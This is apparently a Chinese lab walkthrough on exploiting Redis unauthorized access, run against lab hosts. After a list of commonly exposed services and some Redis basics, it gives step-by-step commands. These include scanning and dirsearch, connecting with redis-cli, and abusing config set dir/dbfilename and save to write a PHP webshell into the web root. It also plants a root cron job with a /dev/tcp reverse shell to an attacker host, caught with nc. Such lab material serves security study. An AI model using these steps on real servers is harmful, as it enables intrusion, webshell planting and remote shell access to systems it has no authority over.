未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面配置不当导致其他用户可以无需认证授权直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。
- Redis 未授权访问漏洞
- Docker 未授权访问漏洞
- MongoDB 未授权访问漏洞
- Jenkins 未授权访问漏洞
- Memcached 未授权访问漏洞
- JBOSS 未授权访问漏洞
- VNC 未授权访问漏洞
- ZooKeeper 未授权访问漏洞
- Rsync 未授权访问漏洞
- Atlassian Crowd 未授权访问漏洞
- CouchDB 未授权访问漏洞
- Elasticsearch 未授权访问漏洞
- Hadoop 未授权访问漏洞
- Jupyter Notebook 未授权访问漏洞
Redis 是完全开源免费的,一个灵活的高性能 key-value 数据结构存储,可以用来作为数据库、缓存和消息队列。
应用场景
存储 缓存 用的数据;
需要高速读/写的场合使用它快速读/写;
redis架构
rides主要有两个程序组成:
Redis 客户端 redis-cli
Redis 服务器 redis-server
客户端、服务器可以位于同一台计算机或两台不同的计算机中。
部分服务器上的Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),以及该端口可以通过公网直接访问,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作
Redis常用命令:
set testkey "Hello World" # 设置键testkey的值为字符串Hello World
get testkey # 获取键testkey的内容
SET score 99 # 设置键score的值为99
INCR score # 使用INCR命令将score的值增加1
GET score # 获取键score的内容
keys * # 列出当前数据库中所有的键
get anotherkey # 获取一个不存在的键的值
config set dir /home/test # 设置工作目录
config set dbfilename redis.rdb # 设置备份文件名
config get dir # 检查工作目录是否设置成功
config get dbfilename # 检查备份文件名是否设置成功
save # 进行一次备份操作
flushall # 删除所有数据(慎用)
del key # 删除键为key的数据
实验环境来自:
https://www.yijinglab.com/expc.do?ec=ECID80df-3b9e-4742-8524-1843d705386c靶机:10.1.1.200
攻击机:10.1.1.100
Redis服务默认端口:6379
端口探测
扫描结果发现开放22,80,6379熟悉的端口
通过目录扫描发现网站敏感目录或敏感页面,发现存在phpinfo信息泄露:python3 dirsearch.py -u http://10.1.1.200/ -e *
连接ssh
6379端口开放,存在Redis服务
首先下载Redis客户端连接工具(工具包里),解压后进入Redis目录,然后通过make进行编译,即可使用Redis-cli尝试连接Redis服务器:
tar -zxf redis-6.0.3.tar.gz
cd redis-6.0.3
make
在/redis-6.0.3/src目录中查找到redis-cli文件
复制到bin目录下:cp redis-cli /usr/bin
执行redis-cli -h 10.1.1.200 -p 6379(在端口是默认端口时,可以不加参数-p)
参数
-h:指定连接的redis服务器
-p:指定redis服务器端口
info:打印系统信息,如Redis的版本、目标系统版本、系统架构等
通过redis数据备份功能结合WEB服务,往WEB网站根目录写入一句话木马,从而得到WEB网站权限
要把一句话写入网站根目录,有两个前提条件,第一:知道目标网站根目录绝对路径,第二:对目标网站根目录有写入权限,通过对前面phpinfo页面的信息收集,我们可以知道目标网站根目录绝对路径为:/var/www/html
通过执行如下命令写入一句话木马到网站根目录:
redis-cli -h 10.1.1.200 -p 6379 #连接redis服务器
config set dir /var/www/html #设置数据库备份文件的放置路径
config set dbfilename shell.php #设置备份文件的文件名
set x "" #添加一个键”x”,值为一句话木马
save #保存
注意:设置键值为一句话木马时,可以使用如下形式:
set x "\r\n\r\n\r\n\r\n"
解释:”\r\n\r\n” 表示换行,用Redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。
通过浏览器访问对应页面确认是否写入文件成功,显示如下,说明成功写入:
然后即可通过工具包里面提供的蚁剑连接一句话木马:
Kali使用nc开启监听,kali终端下执行如下命令:
nc -lvvp 4433
执行如下命令写定时任务
redis-cli -h 10.1.1.200 -p 6379 #连接目标redis服务
set xx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1\n\n"
#设置写入的内容,在计划任务前后加入换行以确保写入的计划任务可以被正常解析,每分钟执行一次/bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1
config set dir /var/spool/cron #设置备份路径
config set dbfilename root #设置备份文件名
save #保存
等待一分钟后即可得到目标shell